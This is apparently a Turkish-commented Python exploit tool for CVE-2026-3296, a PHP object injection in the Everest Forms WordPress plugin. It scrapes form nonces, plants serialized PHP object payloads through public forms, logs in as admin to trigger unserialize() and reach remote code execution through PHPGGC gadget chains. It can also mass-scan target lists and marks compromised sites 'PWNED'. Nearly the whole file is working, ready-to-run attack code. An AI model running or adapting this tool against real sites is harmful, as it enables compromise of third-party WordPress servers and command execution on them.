#!/usr/bin/env python3 """ CVE-2026-3296 — Everest Forms <= 3.4.3 Unauthenticated PHP Object Injection → Remote Code Execution Zafiyet Zinciri: FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez): 1. Hedef sayfadan form ID + nonce al 2. Serialized PHP object payload'ı form alanına göm 3. POST ile gönder → wp_evf_entrymeta tablosuna yazılır (sanitize_text_field() serialization karakterlerini strip etmez) FAZ 2 — TETİKLEME (Admin panel): 4. Admin wp-admin/admin.php?page=evf-entries&view-entry=X açar 5. html-admin-page-entries-view.php:133 → unserialize() çağrılır (allowed_classes parametresi YOK → tüm sınıflar instantiate edilir) 6. POP gadget chain tetiklenir → RCE Mod: --mode inject : Payload enjekte et (Faz 1) --mode trigger : Admin girişiyle tetikle (Faz 2) --mode full : Her ikisi birden (admin kimlik bilgileri gerekli) --mode scan : Zafiyet tespiti (benign payload) """ import requests import argparse import json import re import sys import time import base64 from concurrent.futures import ThreadPoolExecutor, as_completed from threading import Lock from urllib.parse import urlencode, quote requests.packages.urllib3.disable_warnings() G = "\033[92m"; R = "\033[91m"; Y = "\033[93m" C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m" _lock = Lock() _counter = [0] def out(msg): with _lock: sys.stdout.write("\r" + " " * 100 + "\r") sys.stdout.write(msg + "\n") sys.stdout.flush() def progress(total): with _lock: _counter[0] += 1 n = _counter[0] pct = n * 100 // total bar = "█" * (pct // 5) + "░" * (20 - pct // 5) sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%) ") sys.stdout.flush() # ══════════════════════════════════════════════════════════════ # PAYLOAD KÜTÜPHANESI # ══════════════════════════════════════════════════════════════ def build_payload(payload_type="probe", cmd="id", callback_url=None): """ Farklı amaçlar için serialized PHP object payload'ları. probe : Benign stdClass — zafiyet tespiti için (yan etki yok) file_write: Dosya yaz (PHPGGC benzeri — test ortamı) ssrf : HTTP callback ile OOB tespiti rce_* : Ortama özgü POP chain placeholder'ları """ payloads = { # ── Benign test payload ────────────────────────────── # stdClass instantiate edilir, magic method yok, yan etki yok. # unserialize() çağrıldığını doğrulamak için yeterli. "probe": ( 'O:8:"stdClass":2:{' 's:6:"source";s:14:"CVE-2026-3296";' 's:6:"pwned";s:3:"yes";' '}' ), # ── Dosya yazma (test ortamı) ──────────────────────── # Gerçek bir POP chain'in davranışını simüle eder. # Hedef ortamda TestGadget sınıfı yüklü olmalı. "file_write": ( 'O:11:"TestGadget":1:{' 's:4:"path";s:14:"/tmp/pwned.txt";' '}' ), # ── SSRF / OOB DNS callback ────────────────────────── # Deserialization tetiklendiğinde callback_url'e istek gönderir. # Burp Collaborator veya interactsh ile OOB tespiti. "ssrf": ( f'O:8:"stdClass":1:{{' f's:3:"url";s:{len(callback_url or "http://example.com")}:' f'"{callback_url or "http://example.com"}";' f'}}' ), # ── WordPress core POP chain placeholder ──────────── # Gerçek ortamda PHPGGC ile üretilmeli: # phpggc WordPress/RCE1 system "id" -s "wp_rce": ( '/* PHPGGC ile üret: phpggc WordPress/RCE1 system "' + cmd + '" -s */' ), # ── Yoast SEO POP chain placeholder ───────────────── # phpggc Yoast/RCE1 system "id" -s "yoast_rce": ( '/* PHPGGC ile üret: phpggc Yoast/RCE1 system "' + cmd + '" -s */' ), # ── Monolog POP chain placeholder ──────────────────── # phpggc Monolog/RCE1 system "id" -s "monolog_rce": ( '/* PHPGGC ile üret: phpggc Monolog/RCE1 system "' + cmd + '" -s */' ), } return payloads.get(payload_type, payloads["probe"]) # ══════════════════════════════════════════════════════════════ # FAZ 1-A: FORM SAYFASI PARSE — ID, NONCE, FIELD ADLARI # ══════════════════════════════════════════════════════════════ def find_evf_forms(sess, base): """ Sitedeki Everest Forms formlarını bul. Form ID, nonce ve field adlarını çıkar. """ forms = [] # Taranacak yaygın sayfa yolları paths = [ "/", "/contact", "/contact-us", "/apply", "/register", "/signup", "/form", "/survey", "/quiz", "/support", "/get-quote", "/request", "/feedback", "/demo", ] # Sitemap'ten ek sayfalar try: r = sess.get(base + "/sitemap.xml", timeout=5) if r.status_code == 200: urls = re.findall(r'(https?://[^<]+)', r.text) for u in urls[:30]: path = u.replace(base, "").rstrip("/") or "/" if path not in paths: paths.append(path) except: pass for path in paths[:35]: try: r = sess.get(base + path, timeout=6, allow_redirects=True) if r.status_code != 200: continue if "everest" not in r.text.lower() and "evf" not in r.text.lower(): continue page_forms = parse_evf_form(r.text, base + path) forms.extend(page_forms) except: continue # Tekrar eden form ID'leri kaldır seen = [] unique = [] for f in forms: if f["form_id"] not in seen: seen.append(f["form_id"]) unique.append(f) return unique def parse_evf_form(html, page_url): """ HTML içinden Everest Forms form verilerini çıkar. """ forms = [] # Form ID'leri bul form_ids = re.findall( r'name="everest_forms\[id\]"\s+value="(\d+)"' r'|everest-forms-(\d+)' r'|data-form-id="(\d+)"', html ) for fid_tuple in form_ids: form_id = next((x for x in fid_tuple if x), None) if not form_id: continue # Nonce çıkar nonce = None nonce_patterns = [ rf'name="_wpnonce{form_id}"\s+value="([^"]+)"', rf'name="_wpnonce"\s+value="([^"]+)".*?form_id.*?{form_id}', r'name="_wpnonce[^"]*"\s+value="([^"]+)"', ] for pat in nonce_patterns: m = re.search(pat, html, re.S) if m: nonce = m.group(1) break # Field adlarını çıkar fields = [] # Text / textarea alanları text_fields = re.findall( rf'name="everest_forms\[form_fields\]\[([^\]]+)\]"', html ) for fn in text_fields: fields.append({ "name": fn, "type": "text", }) # Honeypot alanı hp_fields = re.findall( r'name="everest_forms\[hp\]\[([^\]]+)\]"', html ) if not fields: # Genel field pattern fields = [{"name": "text_field", "type": "text"}] forms.append({ "form_id": form_id, "nonce": nonce, "fields": fields, "hp_fields": hp_fields, "page_url": page_url, }) return forms # ══════════════════════════════════════════════════════════════ # FAZ 1-B: PAYLOAD ENJEKSIYONU # ══════════════════════════════════════════════════════════════ def inject_payload(sess, form, payload_str, base): """ Serialized PHP object payload'ını form alanına enjekte et. sanitize_text_field() O:, s:, {, }, ; karakterlerini strip etmez → payload wp_evf_entrymeta.meta_value'ya verbatim yazılır. Nonce public form HTML'inden alınır → CSRF koruması bypass. """ page_url = form.get("page_url", base) form_id = form["form_id"] nonce = form.get("nonce") fields = form.get("fields", [{"name": "text_field", "type": "text"}]) hp_fields = form.get("hp_fields", []) # Nonce yoksa sayfadan al if not nonce: try: r = sess.get(page_url, timeout=6) parsed = parse_evf_form(r.text, page_url) for pf in parsed: if pf["form_id"] == form_id and pf["nonce"]: nonce = pf["nonce"] break except: pass if not nonce: return {"status": "NO_NONCE"} # POST verisi oluştur post_data = { "everest_forms[id]": form_id, f"_wpnonce{form_id}": nonce, "_wp_http_referer": page_url.replace(base, ""), } # Payload'ı tüm text field'lara yerleştir injected_field = None for field in fields[:5]: fn = field["name"] post_data[f"everest_forms[form_fields][{fn}]"] = payload_str if not injected_field: injected_field = fn # Honeypot alanlarını boş bırak for hp in hp_fields: post_data[f"everest_forms[hp][{hp}]"] = "" # Zorunlu meta alanlar post_data["everest_forms[form_fields][evf_user_browser]"] = "Mozilla/5.0" post_data["everest_forms[form_fields][evf_user_ip]"] = "127.0.0.1" post_data["everest_forms[form_fields][evf_user_device]"] = "Desktop" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", "Referer": page_url, "Origin": base, "Content-Type": "application/x-www-form-urlencoded", } try: r = sess.post( page_url, data=post_data, headers=headers, timeout=10, allow_redirects=True, ) body = r.text.lower() # Başarı tespiti success_indicators = [ "thank you", "success", "submitted", "received", "teşekkür", "gönderildi", "başarı", "evf-success", "form-success", "message-success", ] error_indicators = [ "error", "invalid", "required", "please fill", "nonce", "security check", ] if r.status_code == 200: if any(s in body for s in success_indicators): return { "status": "INJECTED", "form_id": form_id, "injected_field": injected_field, "nonce": nonce, "page_url": page_url, } if any(e in body for e in error_indicators): return {"status": "FORM_ERROR", "hint": body[:200]} # 200 ama belirsiz return { "status": "INJECTED_MAYBE", "form_id": form_id, "injected_field": injected_field, "nonce": nonce, "page_url": page_url, "raw": r.text[:200], } return {"status": f"HTTP_{r.status_code}"} except requests.exceptions.Timeout: return {"status": "TIMEOUT"} except requests.exceptions.ConnectionError: return {"status": "CONN_ERR"} except Exception as e: return {"status": "EXCEPTION", "err": str(e)} # ══════════════════════════════════════════════════════════════ # FAZ 2-A: ENTRY ID TESPİTİ # ══════════════════════════════════════════════════════════════ def find_entry_ids(sess, base, form_id, admin_nonce): """ Admin panel üzerinden entry ID'lerini bul. En son entry'yi döndürür (yeni enjekte edilen payload). """ entry_ids = [] entries_url = ( f"{base}/wp-admin/admin.php" f"?page=evf-entries&form_id={form_id}" ) try: r = sess.get( entries_url, headers={"X-WP-Nonce": admin_nonce}, timeout=8, ) if r.status_code == 200: # Entry ID'leri çıkar ids = re.findall( r'view-entry=(\d+)' r'|entry_id=(\d+)' r'|data-entry-id="(\d+)"', r.text ) for id_tuple in ids: eid = next((x for x in id_tuple if x), None) if eid and int(eid) not in entry_ids: entry_ids.append(int(eid)) # En yeni entry en üstte — ters sırala entry_ids.sort(reverse=True) except: pass # REST API ile dene if not entry_ids: try: r = sess.get( f"{base}/wp-json/evf/v1/entries?form_id={form_id}&per_page=5", headers={"X-WP-Nonce": admin_nonce}, timeout=6, ) if r.status_code == 200: data = r.json() entries = data if isinstance(data, list) else data.get("entries", []) for e in entries: eid = e.get("id") or e.get("entry_id") if eid: entry_ids.append(int(eid)) except: pass return entry_ids # ══════════════════════════════════════════════════════════════ # FAZ 2-B: ADMİN GİRİŞİ + NONCE # ══════════════════════════════════════════════════════════════ def admin_login(sess, base, username, password): """Admin kimlik bilgileriyle WordPress'e giriş yap.""" sess.cookies.set( "wordpress_test_cookie", "WP Cookie check", domain=base.split("//")[-1].split("/")[0] ) login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1", } try: r = sess.post( base + "/wp-login.php", data=login_data, allow_redirects=True, timeout=10, ) logged_in = any( "wordpress_logged_in" in k for k in sess.cookies.keys() ) if not logged_in: return {"status": "LOGIN_FAILED"} # REST nonce al nonce_r = sess.get( base + "/wp-admin/admin-ajax.php?action=rest-nonce", timeout=6, ) nonce = nonce_r.text.strip() if nonce_r.status_code == 200 else None return {"status": "OK", "nonce": nonce} except Exception as e: return {"status": "EXCEPTION", "err": str(e)} # ══════════════════════════════════════════════════════════════ # FAZ 2-C: ENTRY GÖRÜNTÜLEME — unserialize() TETİKLEME # ══════════════════════════════════════════════════════════════ def trigger_deserialization(sess, base, form_id, entry_id): """ Admin olarak entry görüntüle. html-admin-page-entries-view.php:133 → unserialize() tetiklenir. Zafiyetli kod: if ( is_serialized( $meta_value ) ) { $raw_meta_val = unserialize( $meta_value ); // allowed_classes YOK } """ trigger_url = ( f"{base}/wp-admin/admin.php" f"?page=evf-entries" f"&form_id={form_id}" f"&view-entry={entry_id}" ) try: r = sess.get(trigger_url, timeout=10, allow_redirects=True) if r.status_code == 200: body = r.text # Deserialization gerçekleşti mi? indicators = { "entry_displayed": bool(re.search(r'evf-entry|entry-meta|entry-field', body, re.I)), "payload_echoed": "CVE-2026-3296" in body or "pwned" in body.lower(), "php_error": bool(re.search(r'Fatal error|Warning.*unserialize|__wakeup|__destruct', body, re.I)), "access_denied": "access denied" in body.lower() or r.url.endswith("wp-login.php"), } return { "status": "TRIGGERED", "url": trigger_url, "indicators": indicators, "entry_id": entry_id, "raw": body[:500], } elif r.status_code == 403: return {"status": "FORBIDDEN", "url": trigger_url} elif r.status_code == 302: return {"status": "REDIRECT", "location": r.headers.get("Location", "")} return {"status": f"HTTP_{r.status_code}", "url": trigger_url} except requests.exceptions.Timeout: return {"status": "TIMEOUT"} except Exception as e: return {"status": "EXCEPTION", "err": str(e)} # ══════════════════════════════════════════════════════════════ # PLUGIN TESPİTİ # ══════════════════════════════════════════════════════════════ def detect_plugin(sess, base): """Everest Forms eklentisinin kurulu olup olmadığını kontrol et.""" info = {"installed": False, "version": None, "has_form": False} # readme.txt try: r = sess.get( base + "/wp-content/plugins/everest-forms/readme.txt", timeout=5 ) if r.status_code == 200: info["installed"] = True m = re.search(r'Stable tag:\s*([\d.]+)', r.text) if m: info["version"] = m.group(1) except: pass # Ana sayfa form kontrolü try: r = sess.get(base, timeout=5) if "everest" in r.text.lower() or "evf-form" in r.text.lower(): info["installed"] = True info["has_form"] = True except: pass # REST API try: r = sess.get(base + "/wp-json/evf/v1/", timeout=4) if r.status_code in (200, 401, 403): info["installed"] = True except: pass return info # ══════════════════════════════════════════════════════════════ # ANA SALDIRI AKIŞI # ══════════════════════════════════════════════════════════════ def attack(target, args, total=1): if not target.startswith("http"): target = "http://" + target sess = requests.Session() sess.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64)" sess.verify = False if args.proxy: sess.proxies = {"http": args.proxy, "https": args.proxy} # Bağlantı testi try: r = sess.get(target, timeout=8, allow_redirects=True) base = r.url.rstrip("/") except: progress(total) return {"status": "UNREACH", "url": target} result = {"url": base, "status": "UNKNOWN", "steps": {}} # ── Plugin tespiti ── plugin = detect_plugin(sess, base) result["plugin"] = plugin if not plugin["installed"] and not args.force: progress(total) result["status"] = "NO_PLUGIN" return result mode = args.mode # ══════════════════════════════════════════════════════ # SCAN / INJECT MODU — FAZ 1 # ══════════════════════════════════════════════════════ if mode in ("scan", "inject", "full"): # Adım 1: Form bul out(f"{C}[→] {base} Adım 1: Everest Forms formu aranıyor...{X}") if args.form_id: forms = [{ "form_id": str(args.form_id), "nonce": args.nonce, "fields": [{"name": args.field_name or "text_field", "type": "text"}], "hp_fields": [], "page_url": args.form_url or base, }] else: forms = find_evf_forms(sess, base) result["steps"]["forms"] = forms if not forms: progress(total) result["status"] = "NO_FORM" return result # Adım 2: Payload oluştur payload_str = args.custom_payload or build_payload( payload_type=args.payload_type, cmd=args.cmd, callback_url=args.callback_url, ) result["payload"] = payload_str # Adım 3: Enjeksiyon out(f"{C}[→] {base} Adım 2: Payload enjekte ediliyor...{X}") inject_result = None used_form = None for form in forms[:3]: inject_result = inject_payload(sess, form, payload_str, base) if inject_result["status"] in ("INJECTED", "INJECTED_MAYBE"): used_form = form break result["steps"]["inject"] = inject_result if not inject_result or inject_result["status"] not in ("INJECTED", "INJECTED_MAYBE"): progress(total) result["status"] = f"INJECT_FAILED:{inject_result.get('status','?') if inject_result else 'NONE'}" return result if mode == "scan": result["status"] = "VULNERABLE" result["hint"] = ( "Payload enjekte edildi. Admin entry görüntülediğinde " "unserialize() tetiklenecek. --mode full ile tam saldırı." ) progress(total) return result # ══════════════════════════════════════════════════════ # TRIGGER MODU — FAZ 2 # ══════════════════════════════════════════════════════ if mode in ("trigger", "full"): # Adım 3: Admin girişi out(f"{C}[→] {base} Adım 3: Admin girişi yapılıyor...{X}") if not args.admin_user or not args.admin_pass: progress(total) result["status"] = "NEED_ADMIN_CREDS" result["hint"] = "--admin-user ve --admin-pass gerekli (trigger/full mod)" return result login = admin_login(sess, base, args.admin_user, args.admin_pass) result["steps"]["admin_login"] = login if login["status"] != "OK": progress(total) result["status"] = f"ADMIN_LOGIN_FAILED:{login['status']}" return result admin_nonce = login.get("nonce") # Adım 4: Entry ID bul out(f"{C}[→] {base} Adım 4: Entry ID aranıyor...{X}") form_id_for_trigger = ( args.form_id or (used_form["form_id"] if used_form else None) or (forms[0]["form_id"] if forms else "1") ) if args.entry_id: entry_ids = [args.entry_id] else: entry_ids = find_entry_ids(sess, base, form_id_for_trigger, admin_nonce) result["steps"]["entry_ids"] = entry_ids if not entry_ids: progress(total) result["status"] = "NO_ENTRY_FOUND" result["hint"] = "--entry-id ile manuel belirt" return result # Adım 5: Deserialization tetikle out(f"{C}[→] {base} Adım 5: unserialize() tetikleniyor (entry #{entry_ids[0]})...{X}") trigger = trigger_deserialization( sess, base, form_id_for_trigger, entry_ids[0] ) result["steps"]["trigger"] = trigger if trigger["status"] == "TRIGGERED": ind = trigger.get("indicators", {}) if ind.get("payload_echoed") or ind.get("php_error"): result["status"] = "PWNED" elif ind.get("entry_displayed"): result["status"] = "TRIGGERED_VERIFY" else: result["status"] = "TRIGGERED_UNKNOWN" else: result["status"] = f"TRIGGER_FAILED:{trigger['status']}" result["trigger_url"] = trigger.get("url", "") progress(total) return result # ══════════════════════════════════════════════════════════════ # ÇIKTI YAZICI # ══════════════════════════════════════════════════════════════ def print_result(res, fout=None): s = res.get("status", "") u = res.get("url", "") p = res.get("plugin", {}) steps = res.get("steps", {}) if s == "PWNED": tr = steps.get("trigger", {}) out(f"{G}{'═'*65}") out(f"{G}[★ PWNED ] {u}") out(f" Sürüm : {p.get('version','?')}") out(f" Payload : {res.get('payload','')[:60]}") out(f" Trigger URL : {tr.get('url','')}") out(f" Göstergeler : {tr.get('indicators',{})}") out(f"{'═'*65}{X}") if fout: fout.write(f"PWNED {u} trigger={tr.get('url','')}\n") fout.flush() elif s == "VULNERABLE": inj = steps.get("inject", {}) out(f"{Y}[★ VULN ] {u}") out(f" Sürüm : {p.get('version','?')}") out(f" Form ID : {inj.get('form_id','?')}") out(f" Alan : {inj.get('injected_field','?')}") out(f" Payload : {res.get('payload','')[:60]}") out(f" İpucu : {res.get('hint','')}{X}") if fout: fout.write( f"VULN {u} form={inj.get('form_id','')} " f"field={inj.get('injected_field','')}\n" ) fout.flush() elif s == "TRIGGERED_VERIFY": out(f"{Y}[~ TRIGGERED ] {u} (entry görüntülendi — gadget chain manuel doğrula){X}") if fout: fout.write(f"TRIGGERED {u} url={res.get('trigger_url','')}\n") fout.flush() elif s.startswith("INJECT_FAILED"): inj = steps.get("inject", {}) out(f"{R}[- INJ_FAIL ] {u} {s} {inj.get('hint','')[:60]}{X}") elif s == "NO_FORM": out(f"{Y}[~ NO_FORM ] {u} (Everest Forms formu bulunamadı){X}") elif s == "NO_PLUGIN": out(f"{D}[- NO_PLUGIN ] {u} (Everest Forms kurulu değil){X}") elif s == "NEED_ADMIN_CREDS": out(f"{Y}[~ NO_CREDS ] {u} --admin-user ve --admin-pass gerekli{X}") elif s.startswith("ADMIN_LOGIN_FAILED"): out(f"{R}[- ADM_FAIL ] {u} {s}{X}") elif s == "UNREACH": out(f"{D}[~ UNREACH ] {u}{X}") else: out(f"{D}[- {s:14s}] {u} {res.get('hint','')[:60]}{X}") # ══════════════════════════════════════════════════════════════ # MAIN # ══════════════════════════════════════════════════════════════ def main(): ap = argparse.ArgumentParser( description="CVE-2026-3296 — Everest Forms <= 3.4.3 PHP Object Injection Scanner", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Modlar: scan Zafiyet tespiti (benign payload, yan etki yok) inject Payload enjekte et (Faz 1) trigger Admin girişiyle deserialization tetikle (Faz 2) full Her ikisi birden Örnekler: # Zafiyet tespiti python everest_forms_poi.py -u http://hedef.com --mode scan # Enjeksiyon + admin tetikleme python everest_forms_poi.py -u http://hedef.com --mode full \\ --admin-user admin --admin-pass Pass123! # Form ID manuel + özel payload python everest_forms_poi.py -u http://hedef.com --mode inject \\ --form-id 5 --field-name text_abc123 \\ --payload-type probe # OOB callback ile tespit python everest_forms_poi.py -u http://hedef.com --mode scan \\ --payload-type ssrf --callback-url http://your.burp.collaborator # Toplu tarama python everest_forms_poi.py -l targets.txt -t 10 --mode scan -o sonuclar.txt # Proxy ile python everest_forms_poi.py -u http://hedef.com --mode full \\ --admin-user admin --admin-pass Pass123! \\ --proxy http://127.0.0.1:8080 """ ) group = ap.add_mutually_exclusive_group(required=True) group.add_argument("-u", "--url", help="Tekil hedef URL") group.add_argument("-l", "--list", help="Hedef listesi dosyası") ap.add_argument("--mode", choices=["scan", "inject", "trigger", "full"], default="scan", help="Çalışma modu (varsayılan: scan)") # Form parametreleri form_g = ap.add_argument_group("Form Parametreleri") form_g.add_argument("--form-id", type=int, help="CF7 form ID") form_g.add_argument("--form-url", help="Form sayfası URL") form_g.add_argument("--field-name", help="Hedef field adı") form_g.add_argument("--nonce", help="Form nonce değeri") form_g.add_argument("--entry-id", type=int, help="Entry ID (trigger modu)") # Payload pay_g = ap.add_argument_group("Payload Seçenekleri") pay_g.add_argument("--payload-type", choices=["probe","file_write","ssrf","wp_rce","yoast_rce","monolog_rce"], default="probe") pay_g.add_argument("--custom-payload", help="Özel serialized payload string") pay_g.add_argument("--cmd", default="id", help="RCE komutu") pay_g.add_argument("--callback-url", help="OOB callback URL (ssrf payload için)") # Admin kimlik bilgileri adm_g = ap.add_argument_group("Admin Kimlik Bilgileri (trigger/full mod)") adm_g.add_argument("--admin-user", help="Admin kullanıcı adı") adm_g.add_argument("--admin-pass", help="Admin şifresi") # Genel ap.add_argument("-t", "--threads", type=int, default=5) ap.add_argument("-o", "--output", default="poi_results.txt") ap.add_argument("--proxy", help="Proxy URL") ap.add_argument("--timeout", type=int, default=10) ap.add_argument("--force", action="store_true", help="Plugin tespiti başarısız olsa bile devam et") args = ap.parse_args() # ── Tekil hedef ── if args.url: print(f"\n{B}[*] Hedef : {args.url}") print(f"[*] Mod : {args.mode}") print(f"[*] Payload Tipi : {args.payload_type}") print(f"[*] Komut : {args.cmd}") if args.mode in ("trigger", "full"): print(f"[*] Admin User : {args.admin_user or '—'}") print(f"{X}") res = attack(args.url, args, total=1) print_result(res) if res.get("status") in ("PWNED","VULNERABLE","TRIGGERED_VERIFY"): with open(args.output, "w") as f: f.write(json.dumps(res, indent=2, default=str)) print(f"\n{G}[+] Kaydedildi → {args.output}{X}") return # ── Toplu tarama ── with open(args.list) as f: targets = [l.strip() for l in f if l.strip()] total = len(targets) _counter[0] = 0 print(f"\n{B}[*] {total} hedef | CVE-2026-3296 Everest Forms POI | " f"mod={args.mode} | threads={args.threads}{X}\n") stats = {} with open(args.output, "w") as fout: with ThreadPoolExecutor(max_workers=args.threads) as ex: futs = {ex.submit(attack, t, args, total): t for t in targets} for fut in as_completed(futs): res = fut.result() s = res.get("status", "ERR") stats[s] = stats.get(s, 0) + 1 print_result(res, fout) sys.stdout.write("\n") print(f"\n{B}{'─'*65}") for k, v in sorted(stats.items(), key=lambda x: -x[1]): bar = "█" * min(v, 30) print(f" {k:30s}: {v:4d} {bar}") print(f"{'─'*65}") print(f" Sonuçlar → {args.output}") print(f"{'─'*65}{X}") if __name__ == "__main__": main()